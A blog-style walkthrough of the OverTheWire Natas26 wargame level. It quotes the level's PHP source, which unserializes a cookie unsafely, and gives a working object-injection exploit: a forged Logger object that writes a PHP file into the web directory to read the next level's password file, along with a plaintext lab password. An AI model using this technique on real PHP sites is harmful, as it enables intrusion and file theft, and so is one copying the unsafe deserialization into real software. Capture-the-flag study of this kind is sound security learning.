OTW Natas26

Natas26

Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL:      http://natas26.natas.labs.overthewire.org
Natas26 info
<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla
    
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;
      
        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";
      
            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }                       
      
        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }                       
      
        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }                       
    }
 
    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);     
        imagedestroy($img);
    }
    
    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
        
            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"], 
                            $_GET["x2"], $_GET["y2"], $color);
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) && 
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) && 
                        array_key_exists("y2", $object)){
                    
                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);
            
                    }
        }    
    }
    
    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }
        
        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }
        
        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>
Natas26 source

I only looked at the last line copying it into this post and it's serializing the drawling into the drawing cookie, which makes me think it's going to unserialize it hopefully unsafely somewhere.

My initial thought is since we have a Logger class, we can log something to /tmp/myfile.php, then open that as the image. (Spoiler: it doesn't work exactly like this, but part of this is right).

PHP Serialization && Deserialization

Reading a really great explanation here:
https://programming.vip/docs/php-serialization-and-deserialization.html

We can define an object of a class, can we arbitrarily call functions?

My first thought was to serialize the logger class with $this->logFile and set the logfile to be a a file in /tmp with a .sh / .php extension and write code to read the natas27 password. The final step would be to run it on natas9.

Alright so a little more testing locally, we can see that at least in the docker container, PHP WON'T preserve permissions:

This was annoying, but it's still on the right track. I can write arbitrary files, but I cannot execute them as just any user.

The exploit

So after figuring out that we can write arbitrary PHP files with natas26 as the user, we have to then be able to execute them as natas26 to read the password for natas27. Trying to write directly to the /var/www/natas/natas26/ directory gave me a permission denied, which is fair I would have been able to overwrite the index and that would mess up the challenge for everyone.

After looking through the source again, I noticed that there was a showImage function. This tells me that the image is being saved on the server somewhere such that it can be served to the browser.

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }
Show image function

Checking one of the images on the natas26 page, the image was stored at img/natas26_PHPSESSIONIDHERE.png. This means we can write our PHP file to the /var/www/natas/natas26/img/ directory.

To serialize all this information I used the following file ran locally in the super useful docker container from the previous challenge.

<?php
    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="<?php\necho file_get_contents('/etc/natas_webpass/natas27');\n?>";
            $this->logFile = $file;

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    $file = "/var/www/natas/natas26/img/doot26.php";
    $class = new Logger($file);
    
    // Serialize and base64_encode
    setcookie("drawing", base64_encode(serialize($class)));
?>
Creating the serialized logger object

This PHP file copies the Logger object from natas26.php with a change to the exit message. Since we are passing in a serialized class, it has already been constructed, so changing the constructor or initial message won't do any good. The exit message is the message that will be logged to the logFile on destruction, so it is set to the PHP payload to read the natas27 password. The rest of the lines just pass the file into the Logger, then saves the serialized and base64 encoded class to the drawing cookie just like the challenge does so I can copy it over to the challenge.

Serialized logger

Here is the result of the code, a base64 encoded serialized object. Copying that into the drawing cookie for the challenge site and refreshing the page gives us an error that the Logger class can't be used as an array, but that's irrelevant. Requesting /img/doot26.php gets us the password.

Natas26 success!

PHSC138
The World Wide Web